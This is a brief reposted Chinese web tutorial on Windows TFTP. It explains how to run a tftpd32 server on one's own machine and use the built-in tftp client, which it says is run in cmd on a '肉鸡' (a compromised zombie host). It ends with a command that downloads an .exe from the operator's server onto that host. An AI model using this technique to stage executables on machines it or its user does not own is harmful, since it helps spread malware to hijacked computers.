TFTP使用一

来源:互联网 发布:百度淘宝信誉查询网站 编辑:程序博客网 时间:2024/05/19 13:18
1前提有一个服务器 这个可以在自己的机器上开
  用 tftpd32.exe 设置开的端口和默认目录
  2 tftp 是一个windows自带的工具在那个机器上都好事
  3 使用方法(这是在肉鸡上的cmd操作)
  
  
  Transfers files to and from a remote computer running the TFTP service.
  
  TFTP [-i] host [GET | PUT] source [destination]
  
   -i Specifies binary image transfer mode (also called
   octet). In binary image mode the file is moved
   literally, byte by byte. Use this mode when
   transferring binary files.
   host Specifies the local or remote host.
   GET Transfers the file destination on the remote host to
   the file source on the local host.
   PUT Transfers the file source on the local host to
   the file destination on the remote host.
   source Specifies the file to transfer.
   destination Specifies where to transfer the file.
  
  
  例子 tftp -i 自己的ip(开服务的ip) get(下载) 文件名 目标位置
   put(上传)
  
  tftp -i 192.168.1.1 get aaa.exe c:/downloads/x.exe 下载后另存为x.exe了